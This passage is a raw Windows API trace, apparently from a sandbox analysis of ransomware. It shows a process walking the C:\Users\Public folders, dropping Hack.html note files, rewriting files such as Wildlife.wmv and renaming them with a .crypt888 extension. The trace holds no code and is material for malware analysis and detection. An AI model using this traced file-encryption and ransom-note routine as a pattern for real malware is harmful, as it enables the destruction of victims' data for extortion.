SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0093.085] GetFileType (hFile=0x26c) returned 0x1 [0093.085] WriteFile (in: hFile=0x26c, lpBuffer=0x26b4b98*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26b4b98*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0093.086] CloseHandle (hObject=0x26c) returned 1 [0093.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0093.087] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0093.087] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\", lpFilePart=0x0) returned 0x1c [0093.087] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0093.087] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.087] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.088] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.088] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0093.088] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0093.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0093.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0093.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0093.088] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0093.088] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\", lpFilePart=0x0) returned 0x1c [0093.088] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0093.088] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.089] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.089] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.089] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0093.089] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0093.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0093.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0093.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0093.089] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0093.089] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\", lpFilePart=0x0) returned 0x29 [0093.090] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0093.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0093.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0093.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0093.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0093.090] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0093.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0093.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0093.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0093.091] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0093.091] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\", lpFilePart=0x0) returned 0x29 [0093.091] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0093.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0093.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0093.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0093.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0093.092] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0093.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0093.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0093.092] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\Hack.html", lpFilePart=0x0) returned 0x32 [0093.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0093.092] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\Hack.html" (normalized: "c:\\users\\public\\recorded tv\\sample media\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x26c [0093.094] GetFileType (hFile=0x26c) returned 0x1 [0093.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0093.094] GetFileType (hFile=0x26c) returned 0x1 [0093.094] WriteFile (in: hFile=0x26c, lpBuffer=0x26ba16c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x26ba16c*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0093.095] CloseHandle (hObject=0x26c) returned 1 [0093.095] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Hack.html", lpFilePart=0x0) returned 0x25 [0093.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0093.095] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Hack.html" (normalized: "c:\\users\\public\\recorded tv\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x26c [0093.096] GetFileType (hFile=0x26c) returned 0x1 [0093.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0093.096] GetFileType (hFile=0x26c) returned 0x1 [0093.096] WriteFile (in: hFile=0x26c, lpBuffer=0x26bc904*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26bc904*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0093.097] CloseHandle (hObject=0x26c) returned 1 [0093.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0093.097] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0093.097] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\", lpFilePart=0x0) returned 0x17 [0093.097] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0093.098] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.098] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.098] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.098] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.098] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0093.099] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0093.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0093.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0093.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0093.099] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0093.099] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\", lpFilePart=0x0) returned 0x17 [0093.099] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0093.099] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.099] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.100] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.100] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0093.100] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0093.100] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0093.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0093.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0093.100] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Hack.html", lpFilePart=0x0) returned 0x20 [0093.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0093.101] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Hack.html" (normalized: "c:\\users\\public\\videos\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0093.101] GetFileType (hFile=0x26c) returned 0x1 [0093.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0093.101] GetFileType (hFile=0x26c) returned 0x1 [0093.101] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0093.101] ReadFile (in: hFile=0x26c, lpBuffer=0x26bf078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x26bf078*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0093.101] CloseHandle (hObject=0x26c) returned 1 [0093.152] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Hack.html", lpFilePart=0x0) returned 0x20 [0093.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0093.152] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Hack.html" (normalized: "c:\\users\\public\\videos\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0093.153] GetFileType (hFile=0x26c) returned 0x1 [0093.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0093.153] GetFileType (hFile=0x26c) returned 0x1 [0093.153] WriteFile (in: hFile=0x26c, lpBuffer=0x270dd54*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x270dd54*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0093.154] CloseHandle (hObject=0x26c) returned 1 [0093.154] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Hack.html", lpFilePart=0x0) returned 0x20 [0093.154] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Hack.html.crypt888", lpFilePart=0x0) returned 0x29 [0093.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0093.154] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Hack.html" (normalized: "c:\\users\\public\\videos\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7cfd620, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xc7cfd620, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc8b91ce0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0093.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0093.155] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Videos\\Hack.html" (normalized: "c:\\users\\public\\videos\\hack.html"), lpNewFileName="C:\\Users\\Public\\Videos\\Hack.html.crypt888" (normalized: "c:\\users\\public\\videos\\hack.html.crypt888")) returned 1 [0093.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0093.155] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0093.155] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\", lpFilePart=0x0) returned 0x25 [0093.155] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a3e8 [0093.156] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0093.156] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0093.156] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0093.156] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0093.156] FindClose (in: hFindFile=0x59a3e8 | out: hFindFile=0x59a3e8) returned 1 [0093.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0093.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0093.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0093.157] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0093.157] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\", lpFilePart=0x0) returned 0x25 [0093.157] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a3e8 [0093.157] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0093.157] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0093.157] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0093.157] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0093.158] FindClose (in: hFindFile=0x59a3e8 | out: hFindFile=0x59a3e8) returned 1 [0093.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0093.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0093.158] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", lpFilePart=0x0) returned 0x31 [0093.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0093.158] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0093.158] GetFileType (hFile=0x26c) returned 0x1 [0093.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0093.158] GetFileType (hFile=0x26c) returned 0x1 [0093.158] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x1907b8a [0093.226] ReadFile (in: hFile=0x26c, lpBuffer=0x7131018, nNumberOfBytesToRead=0x1907b8a, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x7131018*, lpNumberOfBytesRead=0x39ed24*=0x1907b8a, lpOverlapped=0x0) returned 1 [0094.158] CloseHandle (hObject=0x26c) returned 1 [0096.383] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", lpFilePart=0x0) returned 0x31 [0096.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0096.383] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0096.385] GetFileType (hFile=0x26c) returned 0x1 [0096.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0096.385] GetFileType (hFile=0x26c) returned 0x1 [0096.385] WriteFile (in: hFile=0x26c, lpBuffer=0x11e81018*, nNumberOfBytesToWrite=0x1907b90, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x11e81018*, lpNumberOfBytesWritten=0x39ed14*=0x1907b90, lpOverlapped=0x0) returned 1 [0096.976] CloseHandle (hObject=0x26c) returned 1 [0096.976] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", lpFilePart=0x0) returned 0x31 [0096.976] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.crypt888", lpFilePart=0x0) returned 0x3a [0096.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0096.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xcb004dc0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1907b90)) returned 1 [0096.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0096.976] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.crypt888" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.crypt888")) returned 1 [0096.977] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Hack.html", lpFilePart=0x0) returned 0x2e [0096.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0096.977] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Hack.html" (normalized: "c:\\users\\public\\videos\\sample videos\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x26c [0096.978] GetFileType (hFile=0x26c) returned 0x1 [0096.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0096.978] GetFileType (hFile=0x26c) returned 0x1 [0096.978] WriteFile (in: hFile=0x26c, lpBuffer=0x26b1758*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x26b1758*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0096.979] CloseHandle (hObject=0x26c) returned 1 [0096.979] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Hack.html", lpFilePart=0x0) returned 0x20 [0096.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0096.979] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Hack.html" (normalized: "c:\\users\\public\\videos\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x26c [0096.981] GetFileType (hFile=0x26c) returned 0x1 [0096.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0096.981] GetFileType (hFile=0x26c) returned 0x1 [0096.981] WriteFile (in: hFile=0x26c, lpBuffer=0x26b3ee0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26b3ee0*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0096.982] CloseHandle (hObject=0x26c) returned 1 [0096.982] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Hack.html", lpFilePart=0x0) returned 0x19 [0096.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0096.982] CreateFileW (lpFileName="C:\\Users\\Public\\Hack.html" (normalized: "c:\\users\\public\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x26c [0096.982] GetFileType (hFile=0x26c) returned 0x1 [0096.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0096.982] GetFileType (hFile=0x26c) returned 0x1 [0096.983] WriteFile (in: hFile=0x26c, lpBuffer=0x26b6648*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x26b6648*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0096.984] CloseHandle (hObject=0x26c) returned 1 [0096.984] GetFullPathNameW (in: lpFileName="C:\\Users\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e828, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Hack.html", lpFilePart=0x0) returned 0x12 [0096.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed1c) returned 1 [0096.984] CreateFileW (lpFileName="C:\\Users\\Hack.html" (normalized: "c:\\users\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x26c [0096.984] GetFileType (hFile=0x26c) returned 0x1 [0096.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed18) returned 1 [0096.984] GetFileType (hFile=0x26c) returned 0x1 [0096.985] WriteFile (in: 